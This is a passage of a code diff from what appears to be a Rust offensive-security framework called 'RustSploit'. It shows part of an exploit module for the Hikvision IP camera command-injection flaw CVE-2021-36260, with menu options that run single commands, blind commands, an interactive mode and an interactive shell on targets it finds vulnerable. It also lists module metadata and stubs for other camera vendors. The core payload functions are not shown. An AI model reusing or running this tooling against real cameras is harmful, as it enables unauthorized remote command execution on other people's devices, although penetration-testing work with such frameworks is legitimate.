let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
let cmd = cmd.trim();
|
||||
if !cmd.is_empty() {
|
||||
match execute_cmd(&client, cmd).await {
|
||||
let cmd = cfg_prompt_default("command", "Enter command to execute", "id").await?;
|
||||
if !cmd.trim().is_empty() {
|
||||
match execute_cmd(&client, cmd.trim()).await {
|
||||
Ok(output) => {
|
||||
println!("{}", "\n[+] Command output:".green());
|
||||
println!("{}", output);
|
||||
crate::mprintln!("{}", "\n[+] Command output:".green());
|
||||
crate::mprintln!("{}", output);
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
Err(e) => crate::mprintln!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
}
|
||||
"4" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
println!();
|
||||
print!("{}", "Enter blind command to execute: ".green());
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
let cmd = cmd.trim();
|
||||
if !cmd.is_empty() { execute_blind_cmd(&client, cmd).await?; }
|
||||
let cmd = cfg_prompt_default("command", "Enter blind command to execute", "id").await?;
|
||||
if !cmd.trim().is_empty() { execute_blind_cmd(&client, cmd.trim()).await?; }
|
||||
}
|
||||
"5" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
// interactive_mode reads stdin directly — fine for CLI; API callers should use mode 3/4
|
||||
interactive_mode(&client).await?;
|
||||
}
|
||||
"6" => {
|
||||
if !check_vulnerable(&client, false).await? { return Err(anyhow!("Target is not vulnerable")); }
|
||||
interactive_shell(&client).await?;
|
||||
}
|
||||
_ => println!("{}", "[-] Invalid option".red()),
|
||||
_ => crate::mprintln!("{}", "[-] Invalid option".red()),
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Exploitation complete".cyan());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Exploitation complete".cyan());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Hikvision IP Camera RCE CVE-2021-36260".to_string(),
|
||||
description: "Exploits CVE-2021-36260 command injection vulnerability in Hikvision IP cameras for remote code execution.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["CVE-2021-36260".to_string()],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Excellent,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
pub mod hikvision;
|
||||
pub mod reolink;
|
||||
pub mod uniview;
|
||||
pub mod avtech;
|
||||
pub mod abus;
|
||||
pub mod acti;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod reolink_rce_cve_2019_11001;
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user